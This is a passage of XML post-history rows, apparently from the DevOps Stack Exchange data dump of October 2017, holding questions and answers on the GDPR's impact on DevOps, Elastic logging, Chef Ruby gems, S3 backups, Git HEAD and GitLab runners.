BY-SA 3.0" />
  <row Id="7107" PostHistoryTypeId="4" PostId="2259" RevisionGUID="19f2e133-e06d-4025-a7d1-a1ddd064166c" CreationDate="2017-10-08T12:26:34.203" UserId="210" Comment="edited title" Text="What is the impact of GDPR on DevOps?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7108" PostHistoryTypeId="5" PostId="2268" RevisionGUID="137e4916-aef7-4346-801c-70e656817b0b" CreationDate="2017-10-08T12:37:40.847" UserId="2805" Comment="added 101 characters in body" Text="The article you are referencing mentions encrypted RAM but that was only a reference to possibilities of enhancing the technology more in the future, not about the current state of confidential computing.&#xD;&#xA;&#xD;&#xA;Confidential computing means, that when data is in use these things are prevented:&#xD;&#xA;&#xD;&#xA;&gt;  - Malicious insiders with administrative privilege or direct access to hardware on which it is being processed&#xD;&#xA;&#xD;&#xA;&gt;  - Hackers and malware that exploit bugs in the operating system, application, or hypervisor&#xD;&#xA;&#xD;&#xA;&gt;  - Third parties accessing it without their consent&#xD;&#xA;&#xD;&#xA;[according to Microsoft own announcement](https://azure.microsoft.com/en-us/blog/introducing-azure-confidential-computing/) &#xD;&#xA;&#xD;&#xA;So in other words, it is kind of equivalent to encryption and firewall that are seen in communication but this time applied to running programs in a Trusted Execution Environment (TEE), which the term for the area which is protected when server runs a program. &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7110" PostHistoryTypeId="5" PostId="2259" RevisionGUID="b4a06302-7c42-427d-bb50-387700cd9009" CreationDate="2017-10-08T12:43:12.177" UserId="210" Comment="deleted 2 characters in body" Text="The [General Data Protection Regulation (GDPR)](http://www.eugdpr.org) is a set of rules to improve the protection of data about European citizens. Quote from this link:&#xD;&#xA;&#xD;&#xA;&gt; The EU General Data Protection Regulation (GDPR) is the most important change in data privacy regulation in 20 years.&#xD;&#xA;&#xD;&#xA;Refer to [GDPR Key Changes][1] for a summary of what it is all about, especially the *Data Subject Rights*, such as:&#xD;&#xA;&#xD;&#xA;- Breach Notification.&#xD;&#xA;- Right to Access.&#xD;&#xA;- Right to be Forgotten.&#xD;&#xA;- Data Portability.&#xD;&#xA;- Privacy by Design.&#xD;&#xA;- ...&#xD;&#xA;&#xD;&#xA;Some GDPR facts:&#xD;&#xA;&#xD;&#xA;- GDPR will be ***enforced*** (repeat: ***enforced***) as of 25 May 2018 (which is in about 229 days from today).&#xD;&#xA;- Quote from [GDPR Key Changes][1] (about *Territorial Scope*):&#xD;&#xA;&#xD;&#xA;  &gt; ... will apply to the processing of personal data by controllers and processors in the EU, regardless of whether the processing takes place in the EU or not. The GDPR will also apply to the processing of personal data of data subjects in the EU by a controller or processor not established in the EU, where the activities relate to: offering goods or services to EU citizens (irrespective of whether payment is required) and the monitoring of behaviour that takes place within the EU. Non-Eu businesses processing the data of EU citizens will also have to appoint a representative in the EU. &#xD;&#xA;&#xD;&#xA;For anybody who is old enough to remember the *Y2K*-hype back in the 90s (i.e. the impact of it on IT systems): IMHO addressing all those Y2K issues was a piece of cake as compared to the challenge ahead with this GDPR thing.&#xD;&#xA;&#xD;&#xA;**Question(s)**: What is the impact of GDPR on DevOps, more specifically I wonder about:&#xD;&#xA;&#xD;&#xA;1. What kind of changes will be needed in the typical DevOps [tag:toolchain] to make them GDPR-compliant?&#xD;&#xA;2. How can DevOps-practises help (facilitate, simplify, etc) a company to become GDPR-compliant, similar to how SCM tools helped in the 90s to become Y2K compliant?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.eugdpr.org/key-changes.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="7111" PostHistoryTypeId="5" PostId="2259" RevisionGUID="d5893908-2dd1-4673-a191-8eddcddb0d35" CreationDate="2017-10-08T12:47:05.087" UserId="40" Comment="Clarify the &quot;typical DevOps toochain&quot;" Text="The [General Data Protection Regulation (GDPR)](http://www.eugdpr.org) is a set of rules to improve the protection of data about European citizens. Quote from this link:&#xD;&#xA;&#xD;&#xA;&gt; The EU General Data Protection Regulation (GDPR) is the most important change in data privacy regulation in 20 years.&#xD;&#xA;&#xD;&#xA;Refer to [GDPR Key Changes][1] for a summary of what it is all about, especially the *Data Subject Rights*, such as:&#xD;&#xA;&#xD;&#xA;- Breach Notification.&#xD;&#xA;- Right to Access.&#xD;&#xA;- Right to be Forgotten.&#xD;&#xA;- Data Portability.&#xD;&#xA;- Privacy by Design.&#xD;&#xA;- ...&#xD;&#xA;&#xD;&#xA;Some GDPR facts:&#xD;&#xA;&#xD;&#xA;- GDPR will be ***enforced*** (repeat: ***enforced***) as of 25 May 2018 (which is in about 229 days from today).&#xD;&#xA;- Quote from [GDPR Key Changes][1] (about *Territorial Scope*):&#xD;&#xA;&#xD;&#xA;  &gt; ... will apply to the processing of personal data by controllers and processors in the EU, regardless of whether the processing takes place in the EU or not. The GDPR will also apply to the processing of personal data of data subjects in the EU by a controller or processor not established in the EU, where the activities relate to: offering goods or services to EU citizens (irrespective of whether payment is required) and the monitoring of behaviour that takes place within the EU. Non-Eu businesses processing the data of EU citizens will also have to appoint a representative in the EU. &#xD;&#xA;&#xD;&#xA;For anybody who is old enough to remember the *Y2K*-hype back in the 90s (i.e. the impact of it on IT systems): IMHO addressing all those Y2K issues was a piece of cake as compared to the challenge ahead with this GDPR thing.&#xD;&#xA;&#xD;&#xA;**Question(s)**: What is the impact of GDPR on DevOps, more specifically I wonder about:&#xD;&#xA;&#xD;&#xA;1. What kind of changes will be needed in the [typical DevOps toolchain](https://en.wikipedia.org/wiki/DevOps_toolchain) to make them GDPR-compliant?&#xD;&#xA;2. How can DevOps-practises help (facilitate, simplify, etc) a company to become GDPR-compliant, similar to how SCM tools helped in the 90s to become Y2K compliant?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.eugdpr.org/key-changes.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="7113" PostHistoryTypeId="5" PostId="2259" RevisionGUID="fd6aeab7-519d-496a-b018-0e847ac9607a" CreationDate="2017-10-08T12:57:17.470" UserId="210" Comment="added 69 characters in body" Text="The [General Data Protection Regulation (GDPR)](http://www.eugdpr.org) is a set of rules to improve the protection of data about European citizens. Quote from this link:&#xD;&#xA;&#xD;&#xA;&gt; The EU General Data Protection Regulation (GDPR) is the most important change in data privacy regulation in 20 years.&#xD;&#xA;&#xD;&#xA;Refer to [GDPR Key Changes][1] for a summary of what it is all about, especially the *Data Subject Rights*, such as:&#xD;&#xA;&#xD;&#xA;- Breach Notification.&#xD;&#xA;- Right to Access.&#xD;&#xA;- Right to be Forgotten.&#xD;&#xA;- Data Portability.&#xD;&#xA;- Privacy by Design.&#xD;&#xA;- ...&#xD;&#xA;&#xD;&#xA;Some GDPR facts:&#xD;&#xA;&#xD;&#xA;- GDPR will be ***enforced*** (repeat: ***enforced***) as of 25 May 2018 (which is in about 229 days from today).&#xD;&#xA;- Quote from [GDPR Key Changes][1] (about *Territorial Scope*):&#xD;&#xA;&#xD;&#xA;  &gt; ... will apply to the processing of personal data by controllers and processors in the EU, regardless of whether the processing takes place in the EU or not. The GDPR will also apply to the processing of personal data of data subjects in the EU by a controller or processor not established in the EU, where the activities relate to: offering goods or services to EU citizens (irrespective of whether payment is required) and the monitoring of behaviour that takes place within the EU. Non-Eu businesses processing the data of EU citizens will also have to appoint a representative in the EU. &#xD;&#xA;&#xD;&#xA;For anybody who is old enough to remember the *Y2K*-hype back in the 90s (i.e. the impact of it on IT systems): IMHO addressing all those Y2K issues was a piece of cake as compared to the challenge ahead with this GDPR thing.&#xD;&#xA;&#xD;&#xA;**Question(s)**: What is the impact of GDPR on DevOps, more specifically I wonder about:&#xD;&#xA;&#xD;&#xA;1. What kind of changes will be needed in the [typical DevOps toolchain](https://en.wikipedia.org/wiki/DevOps_toolchain), i.e. Plan, Create, Verify, Package, Release, Configure, and Monitor to make them GDPR-compliant?&#xD;&#xA;2. How can DevOps-practises help (facilitate, simplify, etc) a company to become GDPR-compliant, similar to how SCM tools helped in the 90s to become Y2K compliant?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.eugdpr.org/key-changes.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="7117" PostHistoryTypeId="5" PostId="2259" RevisionGUID="ff6e2575-b8e8-452e-bd2e-7bcc83ef15f7" CreationDate="2017-10-08T13:41:21.623" UserId="210" Comment="tag contains link and steps" Text="The [General Data Protection Regulation (GDPR)](http://www.eugdpr.org) is a set of rules to improve the protection of data about European citizens. Quote from this link:&#xD;&#xA;&#xD;&#xA;&gt; The EU General Data Protection Regulation (GDPR) is the most important change in data privacy regulation in 20 years.&#xD;&#xA;&#xD;&#xA;Refer to [GDPR Key Changes][1] for a summary of what it is all about, especially the *Data Subject Rights*, such as:&#xD;&#xA;&#xD;&#xA;- Breach Notification.&#xD;&#xA;- Right to Access.&#xD;&#xA;- Right to be Forgotten.&#xD;&#xA;- Data Portability.&#xD;&#xA;- Privacy by Design.&#xD;&#xA;- ...&#xD;&#xA;&#xD;&#xA;Some GDPR facts:&#xD;&#xA;&#xD;&#xA;- GDPR will be ***enforced*** (repeat: ***enforced***) as of 25 May 2018 (which is in about 229 days from today).&#xD;&#xA;- Quote from [GDPR Key Changes][1] (about *Territorial Scope*):&#xD;&#xA;&#xD;&#xA;  &gt; ... will apply to the processing of personal data by controllers and processors in the EU, regardless of whether the processing takes place in the EU or not. The GDPR will also apply to the processing of personal data of data subjects in the EU by a controller or processor not established in the EU, where the activities relate to: offering goods or services to EU citizens (irrespective of whether payment is required) and the monitoring of behaviour that takes place within the EU. Non-Eu businesses processing the data of EU citizens will also have to appoint a representative in the EU. &#xD;&#xA;&#xD;&#xA;For anybody who is old enough to remember the *Y2K*-hype back in the 90s (i.e. the impact of it on IT systems): IMHO addressing all those Y2K issues was a piece of cake as compared to the challenge ahead with this GDPR thing.&#xD;&#xA;&#xD;&#xA;**Question(s)**: What is the impact of GDPR on DevOps, more specifically I wonder about:&#xD;&#xA;&#xD;&#xA;1. What kind of changes will be needed in the DevOps [tag:toolchain] to make them GDPR-compliant?&#xD;&#xA;2. How can DevOps-practises help (facilitate, simplify, etc) a company to become GDPR-compliant, similar to how SCM tools helped in the 90s to become Y2K compliant?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.eugdpr.org/key-changes.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="7118" PostHistoryTypeId="2" PostId="2271" RevisionGUID="409a9819-11ec-41f1-b34d-6753b0e38214" CreationDate="2017-10-08T15:01:00.750" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="7119" PostHistoryTypeId="1" PostId="2271" RevisionGUID="409a9819-11ec-41f1-b34d-6753b0e38214" CreationDate="2017-10-08T15:01:00.750" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7120" PostHistoryTypeId="2" PostId="2272" RevisionGUID="356765a2-312e-4399-b870-88619e1c9f9f" CreationDate="2017-10-08T15:01:00.750" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="7121" PostHistoryTypeId="1" PostId="2272" RevisionGUID="356765a2-312e-4399-b870-88619e1c9f9f" CreationDate="2017-10-08T15:01:00.750" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7122" PostHistoryTypeId="2" PostId="2273" RevisionGUID="85e9253d-d4f8-4274-b06f-313ac162bf2f" CreationDate="2017-10-08T15:39:45.617" UserId="47" Text="With DevOps being a marriage between Dev and Ops (and even [SecOps][1]), I see different relationships with each one of them.&#xD;&#xA;&#xD;&#xA;From the Dev aspect DevOps can help with GDPR compliance just like it can help with any other type of compliance required from software products: via (good) compliance QA testing.&#xD;&#xA;&#xD;&#xA;As long as the compliance requirements are well defined it is possible to devise corresponding QA testing to verify those requirements. Simply by incorporating those QA verifications inside the products' DevOps chain - in the CI/CD pipelines, for example, the products' compliance can be measured and controlled.&#xD;&#xA;&#xD;&#xA;From the Ops (and SecOps) prospective things are a bit different (I'm less familiar with these), but I presume GPRS will impose additional requirements which I suspect would translate into additional operating policies.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/686/what-is-secops/694#694" ContentLicense="CC BY-SA 3.0" />
  <row Id="7123" PostHistoryTypeId="5" PostId="2272" RevisionGUID="3dec1427-bd6e-49bd-b1b7-abab4bc0b621" CreationDate="2017-10-08T18:33:40.940" UserId="40" Comment="added 43 characters in body" Text="For questions about the protection of data." ContentLicense="CC BY-SA 3.0" />
  <row Id="7124" PostHistoryTypeId="24" PostId="2272" RevisionGUID="3dec1427-bd6e-49bd-b1b7-abab4bc0b621" CreationDate="2017-10-08T18:33:40.940" Comment="Proposed by 40 approved by 47, 210 edit id of 477" ContentLicense="CC BY-SA 3.0" />
  <row Id="7125" PostHistoryTypeId="2" PostId="2274" RevisionGUID="83d92b2a-e6c4-46f3-8e39-761618f73236" CreationDate="2017-10-08T19:39:39.330" UserId="210" Text="At the moment there are multiple microservices that log to individual files. If there is an issue then the team is debugging like headless chickens. In order to prevent this the aim is to introduce aggregated logging, e.g. [elastic][1]. What are best practices to migrate to such an aggregated logging system?&#xD;&#xA;&#xD;&#xA;**Current idea**&#xD;&#xA;&#xD;&#xA; - Deploy [an elastic stack locally][2]&#xD;&#xA; - navigate to http://localhost:5601&#xD;&#xA; - login by entering `elastic` and `changeme`&#xD;&#xA; - get the endpoint and configure it in every microservice? (https://www.elastic.co/guide/en/cloud/current/getting-started.html)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What endpoint should be configured?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.elastic.co/&#xD;&#xA;  [2]: https://github.com/elastic/stack-docker" ContentLicense="CC BY-SA 3.0" />
  <row Id="7126" PostHistoryTypeId="1" PostId="2274" RevisionGUID="83d92b2a-e6c4-46f3-8e39-761618f73236" CreationDate="2017-10-08T19:39:39.330" UserId="210" Text="What are best practices to implement and use elastic in an organization?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7127" PostHistoryTypeId="3" PostId="2274" RevisionGUID="83d92b2a-e6c4-46f3-8e39-761618f73236" CreationDate="2017-10-08T19:39:39.330" UserId="210" Text="&lt;elastic&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7128" PostHistoryTypeId="4" PostId="2274" RevisionGUID="a7213a48-0d12-4b11-b685-42797d5a33ab" CreationDate="2017-10-08T19:45:14.583" UserId="210" Comment="edited title" Text="What are best practices for implementing and using Elastic in an organization?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7129" PostHistoryTypeId="5" PostId="1052" RevisionGUID="6ca3a282-1216-481f-8086-4b8ae616fef2" CreationDate="2017-10-08T22:07:31.393" UserId="538" Comment="added 6 characters in body" Text="Is there a similar devops tool to fabric with javascript as its scripting language. I'm specifically interested in the remote execution side.&#xD;&#xA;&#xD;&#xA;http://www.fabfile.org/&#xD;&#xA;&#xD;&#xA;Most of the tools I've found rely on python(e.g fabric) or ruby(e.g. Capistrano, Chef). However, in my team we don't use these languages for anything else. While these languages may be great, they are not as universal as javascript in the web development industry.&#xD;&#xA;&#xD;&#xA;I mention fabric because it's ideal for what I want except that I have minimal python skills (sadly).&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7130" PostHistoryTypeId="5" PostId="2273" RevisionGUID="e640e853-520b-450e-9dc2-bc671b649685" CreationDate="2017-10-09T01:10:20.550" UserId="47" Comment="fixed typo" Text="With DevOps being a marriage between Dev and Ops (and even [SecOps][1]), I see different relationships with each one of them.&#xD;&#xA;&#xD;&#xA;From the Dev aspect DevOps can help with GDPR compliance just like it can help with any other type of compliance required from software products: via (good) compliance QA testing.&#xD;&#xA;&#xD;&#xA;As long as the compliance requirements are well defined it is possible to devise corresponding QA testing to verify those requirements. Simply by incorporating those QA verifications inside the products' DevOps chain - in the CI/CD pipelines, for example, the products' compliance can be measured and controlled.&#xD;&#xA;&#xD;&#xA;From the Ops (and SecOps) prospective things are a bit different (I'm less familiar with these), but I presume GDPR will impose additional requirements which I suspect would translate into additional operating policies.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/686/what-is-secops/694#694" ContentLicense="CC BY-SA 3.0" />
  <row Id="7132" PostHistoryTypeId="5" PostId="1052" RevisionGUID="678c643d-55e5-4f83-835e-a554a8751f47" CreationDate="2017-10-09T03:54:18.883" UserId="739" Comment="inline link and copy edit" Text="Is there a similar DevOps tool to [fabric](http://www.fabfile.org/) with JavaScript as its scripting language? I'm specifically interested in the remote execution side.&#xD;&#xA;&#xD;&#xA;Most of the tools I've found rely on python (e.g [fabric](http://www.fabfile.org/)) or Ruby (e.g. Capistrano, Chef). However, in my team we don't use these languages for anything else. While these languages may be great, they are not as universal as JavaScript in the web development industry.&#xD;&#xA;&#xD;&#xA;I mention fabric because it's ideal for what I want except that I have minimal python skills (sadly)." ContentLicense="CC BY-SA 3.0" />
  <row Id="7133" PostHistoryTypeId="24" PostId="1052" RevisionGUID="678c643d-55e5-4f83-835e-a554a8751f47" CreationDate="2017-10-09T03:54:18.883" Comment="Proposed by 739 approved by 47, 538 edit id of 480" ContentLicense="CC BY-SA 3.0" />
  <row Id="7134" PostHistoryTypeId="2" PostId="2275" RevisionGUID="4ae91e89-3a38-499f-9223-7d315c7c1320" CreationDate="2017-10-09T08:00:42.747" UserId="887" Text="I would like to know how everyone is making external backups of **S3** backups and best practice/recommendations for this.&#xD;&#xA;&#xD;&#xA;The **S3** buckets functionality seems to be limited very limited.&#xD;&#xA;&#xD;&#xA;The way I'm looking at doing this now is by downloading the data to an external server(**bare-metal** as **EC2** instance is a lot more expensive) and then pushing that to my backups provider.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7135" PostHistoryTypeId="1" PostId="2275" RevisionGUID="4ae91e89-3a38-499f-9223-7d315c7c1320" CreationDate="2017-10-09T08:00:42.747" UserId="887" Text="Best practices for external backups for S3 buckets" ContentLicense="CC BY-SA 3.0" />
  <row Id="7136" PostHistoryTypeId="3" PostId="2275" RevisionGUID="4ae91e89-3a38-499f-9223-7d315c7c1320" CreationDate="2017-10-09T08:00:42.747" UserId="887" Text="&lt;amazon-s3&gt;&lt;backup&gt;&lt;storage&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7137" PostHistoryTypeId="2" PostId="2276" RevisionGUID="62f0b05c-c602-4718-95bf-4a3c53a5f4f8" CreationDate="2017-10-09T08:20:12.317" UserId="4369" Text="One best practice would be to log everything to the same location. Your &quot;Current idea&quot; suggests that you'd be running the Elastic stack locally, which is great for a local development environment, but for anything outside that you want to be shipping the logs from all your microservices to the same location. This enables you to do correlation between logs, and have a &quot;single pane of glass&quot; approach to your logging.&#xD;&#xA;&#xD;&#xA;To achieve that, you're going to have to run it on a server or use a managed service such as Elastic Cloud or AWS Elasticsearch. You can install the components through package managers e.g. yum or apt, https://www.elastic.co/start, or it's also possible to run it in Docker. The `stack-docker` repository is great for running locally, but it's not suitable for any sizeable deployment due to a lack of scalability. &#xD;&#xA;&#xD;&#xA;The endpoint you ship to will depend on what method/protocol you're using to ship logs, for example Nginx running on an AWS EC2 instance might use Filebeat and ship to a load balancer that sits in front of Elasticsearch, or if you're using Docker you might use the gelf Docker logdriver to ship your logs to Logstash." ContentLicense="CC BY-SA 3.0" />
  <row Id="7138" PostHistoryTypeId="2" PostId="2277" RevisionGUID="1d7f4fd6-2915-4ece-82f0-0ef19b2d4b57" CreationDate="2017-10-09T08:32:47.660" UserId="13" Text="To take your points one by one:&#xD;&#xA;&#xD;&#xA;&gt; but in the interests of good system hygiene I would like to avoid as much as possible duplication&#xD;&#xA;&#xD;&#xA;Can you ensure your system ruby will evolve at the same pace as the Chef's ruby ? Main point of chef coming as a bundle with its own ruby comes back from Chef 10 which was installed via a simple gem command and was usually a problem switching between ruby needed for applications and ruby needed by chef, the same goes for gem dependencies. I would advise against mixing system and chef ruby.&#xD;&#xA;&#xD;&#xA;&gt; the Gems I have in the system Ruby come from the known-good local Yum repo and are installed via RPM over the LAN whereas chef_gem goes off to the public Internet&#xD;&#xA;&#xD;&#xA;While I understand and agree with the worrying about recent pipy events, there's two things here:&#xD;&#xA;&#xD;&#xA;- Your system ruby install gems from yum repository because your system ruby's `gem` command has been tweaked for that, that's specific to your distribution. -&#xD;&#xA;- Chef's ruby use usual ruby method going to rubygems.org, as any ruby installed by rbenv or any other way than yum install would do.&#xD;&#xA;&#xD;&#xA;If you really want to use a local repo you'll have to [set up a gem server](http://guides.rubygems.org/run-your-own-gem-server/) (alternatively, some artifact repositories can handle that also) and set-up the sources for gem using chef's [`gem sources`](http://guides.rubygems.org/command-reference/#gem-sources) in `/opt/chef/embedded/bin`.&#xD;&#xA;&#xD;&#xA;If you're using a chef client above 13.0 your can use the `rubygems_url` in client.rb to tweak that:&#xD;&#xA;&#xD;&#xA;&gt;     rubygems_url&#xD;&#xA;&gt; &#xD;&#xA;&gt; The location to source rubygems. It can be set to a string or array of&#xD;&#xA;&gt; strings for URIs to set as rubygems sources. This allows individuals&#xD;&#xA;&gt; to setup an internal mirror of rubygems for “airgapped” environments.&#xD;&#xA;&gt; Default value: https://www.rubygems.org.  &#xD;&#xA;&gt; Changed in Chef Client 13.0.&#xD;&#xA;&#xD;&#xA;And finally:&#xD;&#xA;&#xD;&#xA;&gt; I have tried setting ENV['GEM_PATH'] in my recipe both before and&#xD;&#xA;&gt; inside a ruby_block but this appears to have no effect, I get a&#xD;&#xA;&gt; failure on require&#xD;&#xA;&#xD;&#xA;Chef omnibus package hardcode some values specially to avoid interfering with the system ruby, I think the GEM_PATH environment variable is ignored when searching for gem you `require` within the recipe code. I don't think there's a workaround for this, and again you're heading to a compatibility problem on mid term as you'll have a drift between chef's ruby and system ruby." ContentLicense="CC BY-SA 3.0" />
  <row Id="7139" PostHistoryTypeId="5" PostId="2221" RevisionGUID="cdf80e50-2167-4865-9236-e1ccaff65bdf" CreationDate="2017-10-09T08:39:26.620" UserId="210" Comment="added 131 characters in body" Text="[Elastic][1] consists of various products, including elasticsearch, kibana, beats and logstash.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.elastic.co/" ContentLicense="CC BY-SA 3.0" />
  <row Id="7140" PostHistoryTypeId="24" PostId="2221" RevisionGUID="cdf80e50-2167-4865-9236-e1ccaff65bdf" CreationDate="2017-10-09T08:39:26.620" Comment="Proposed by 210 approved by 40, 13 edit id of 478" ContentLicense="CC BY-SA 3.0" />
  <row Id="7141" PostHistoryTypeId="5" PostId="2276" RevisionGUID="b5ba5202-b898-47ed-b27d-44386189c281" CreationDate="2017-10-09T08:43:27.903" UserId="4369" Comment="Additional best practices" Text="One best practice would be to log everything to the same location. Your &quot;Current idea&quot; suggests that you'd be running the Elastic stack locally, which is great for a local development environment, but for anything outside that you want to be shipping the logs from all your microservices to the same location. This enables you to do correlation between logs, and have a &quot;single pane of glass&quot; approach to your logging.&#xD;&#xA;&#xD;&#xA;To achieve that, you're going to have to run it on a server or use a managed service such as Elastic Cloud or AWS Elasticsearch. You can install the components through package managers e.g. yum or apt, https://www.elastic.co/start, or it's also possible to run it in Docker. The `stack-docker` repository is great for running locally, but it's not suitable for any sizeable deployment due to a lack of scalability. &#xD;&#xA;&#xD;&#xA;The endpoint you ship to will depend on what method/protocol you're using to ship logs, for example Nginx running on an AWS EC2 instance might use Filebeat and ship to a load balancer that sits in front of Elasticsearch, or if you're using Docker you might use the gelf Docker logdriver to ship your logs to Logstash.&#xD;&#xA;&#xD;&#xA;Some more best practices:&#xD;&#xA;&#xD;&#xA; - Log all your messages in JSON, with a focus on objects/fields rather than long string messages.&#xD;&#xA; - Exceptions should be actionable, anything else can be a warning.&#xD;&#xA; - Avoid multiline logs.&#xD;&#xA; - Use correlation IDs. If your app is passed a correlation ID it should include it in every message triggered by that call, otherwise it should generate one. The correlation ID should be included in calls to other microservices.&#xD;&#xA; - Err on the side of logging more rather than less, you never know when you may need that bit of data, or what trends you might find by analysing an otherwise inconspicuous piece of data.&#xD;&#xA; - Separate your environments logically so you can have different retention periods and archiving on your logs." ContentLicense="CC BY-SA 3.0" />
  <row Id="7142" PostHistoryTypeId="4" PostId="2259" RevisionGUID="3f15758d-1e98-4403-9195-9663572d09c2" CreationDate="2017-10-09T09:17:46.750" UserId="40" Comment="edited title" Text="What's the impact of the General Data Protection Regulation (GDPR) on DevOps?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7144" PostHistoryTypeId="5" PostId="2275" RevisionGUID="0aea2e85-9564-44f2-ac11-ec766e41da0f" CreationDate="2017-10-09T14:30:51.710" UserId="47" Comment="improved readability" Text="I would like to know how people are making external backups of **S3** buckets and best practices/recommendations for this.&#xD;&#xA;&#xD;&#xA;The **S3** buckets functionality seems to be very limited.&#xD;&#xA;&#xD;&#xA;The way I'm looking at doing this now is by downloading the data to an external server (**bare-metal** as **EC2** instance is a lot more expensive) and then pushing that to my backups provider.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7145" PostHistoryTypeId="50" PostId="1955" RevisionGUID="e4f5ba9c-2bc4-4eca-adcc-20f053f862f7" CreationDate="2017-10-09T23:40:00.870" UserId="-1" />
  <row Id="7146" PostHistoryTypeId="2" PostId="2278" RevisionGUID="a58f1338-4145-4919-8dba-3343404e53f4" CreationDate="2017-10-10T02:17:12.273" UserId="4674" Text="I had the same issue with node. The thing is files in the container are owned by &quot;root:root&quot;. Try adding docker args `-u root:root`:&#xD;&#xA;&#xD;&#xA;    docker { &#xD;&#xA;        image 'node:8'&#xD;&#xA;        args '-u root:root'&#xD;&#xA;    }" ContentLicense="CC BY-SA 3.0" />
  <row Id="7147" PostHistoryTypeId="5" PostId="1955" RevisionGUID="dfbd986a-e00b-4927-98fa-4660d7fad515" CreationDate="2017-10-10T04:31:44.280" UserId="739" Comment="copy editing" Text="I have configured Ansible Tower with Centos 7.2 and I am able to see my Tower dashboard.  My major concern is how to do versioninzation in Ansible Tower as given in [this link](https://www.ansible.com/configuration-management) with Github.&#xD;&#xA;&#xD;&#xA;Since I have written the playbook for configuration changes in my Centos server and push my changes to GITHUB in a branch as `SAAS_1` now that I have to integrate this changes to Ansible Tower, how can I see this versioning? How can I visually see all of this content in Ansible Tower?&#xD;&#xA;&#xD;&#xA;Like production -1.1 UFT-2.1 and continuation based on changes enabled" ContentLicense="CC BY-SA 3.0" />
  <row Id="7148" PostHistoryTypeId="24" PostId="1955" RevisionGUID="dfbd986a-e00b-4927-98fa-4660d7fad515" CreationDate="2017-10-10T04:31:44.280" Comment="Proposed by 739 approved by 47, 228 edit id of 481" ContentLicense="CC BY-SA 3.0" />
  <row Id="7149" PostHistoryTypeId="2" PostId="2279" RevisionGUID="287d8c8f-746c-428f-9bcd-9164d23aaa14" CreationDate="2017-10-10T06:50:49.720" UserId="4678" Text="Not the current working HEAD REFERENCE which points in our current branch  Please help me. &#xD;&#xA;thanks in advance" ContentLicense="CC BY-SA 3.0" />
  <row Id="7150" PostHistoryTypeId="1" PostId="2279" RevisionGUID="287d8c8f-746c-428f-9bcd-9164d23aaa14" CreationDate="2017-10-10T06:50:49.720" UserId="4678" Text="How can i see HEAD temp pointer reference in Git?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7151" PostHistoryTypeId="3" PostId="2279" RevisionGUID="287d8c8f-746c-428f-9bcd-9164d23aaa14" CreationDate="2017-10-10T06:50:49.720" UserId="4678" Text="&lt;git&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7152" PostHistoryTypeId="2" PostId="2280" RevisionGUID="7128bfe1-1bb9-46fe-8886-5ea5f913fce4" CreationDate="2017-10-10T08:03:12.693" UserId="4175" Text="You can directly see `HEAD` if you look into the file `.git/HEAD`. What you find in there is all there is to it, there is nothing more.&#xD;&#xA;&#xD;&#xA;`HEAD` does not, strictly, point to the current branch but is the commit that is currently checked out. It is, by definition, the first entry that `git log` lists. &#xD;&#xA;&#xD;&#xA;If you do a `git checkout branchname` then, yes, indeed, `.git/HEAD` will contain the `ref` of the branch you checked out, probably something like `refs/head/branchname`. This in turn is literally the file that contains the actual commit hash; you can see it in `.git/refs/head/branchname`. But if you do `git checkout commithash` then `.git/HEAD` will contain said hash, and you will be in a &quot;headless&quot; state (git will give you a longish message explaining what that is). In this case, there is no &quot;current branch&quot;." ContentLicense="CC BY-SA 3.0" />
  <row Id="7153" PostHistoryTypeId="5" PostId="2279" RevisionGUID="2b3c1da1-ffd1-494b-bef2-6ed6f022e91d" CreationDate="2017-10-10T08:14:24.063" UserId="40" Comment="remove noise" Text="Not the current working HEAD REFERENCE which points in our current branch." ContentLicense="CC BY-SA 3.0" />
  <row Id="7154" PostHistoryTypeId="2" PostId="2281" RevisionGUID="fa668f02-32e8-4d9d-85cc-cd365f3f894a" CreationDate="2017-10-10T09:19:01.520" UserId="2762" Text="**What do we have:**  &#xD;&#xA;We have a Gitlab EE with multiple projects running on a droplet, next to that we have a runner server for the CI runners. All projects are Docker projects and 4 runners can be busy at the same time.&#xD;&#xA;&#xD;&#xA;**What we need to know:**  &#xD;&#xA;Now is my question, is it better to have like 4 runners on the runner server for all the projects OR is it better to have 1 runner per project?&#xD;&#xA;&#xD;&#xA;I know when the CI gets stuck, the runner will be stuck too and it will mean that it is missing 1 runner till it gets reset. So at that point single runner per projects seems better, but it will make a large list of runners which perhaps use some idling resources from the server ?&#xD;&#xA;&#xD;&#xA;Anybody can tell me what is better in your opinion and why it is better in your opinion as both ways seem legit in my opinion and i want to know others experience.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
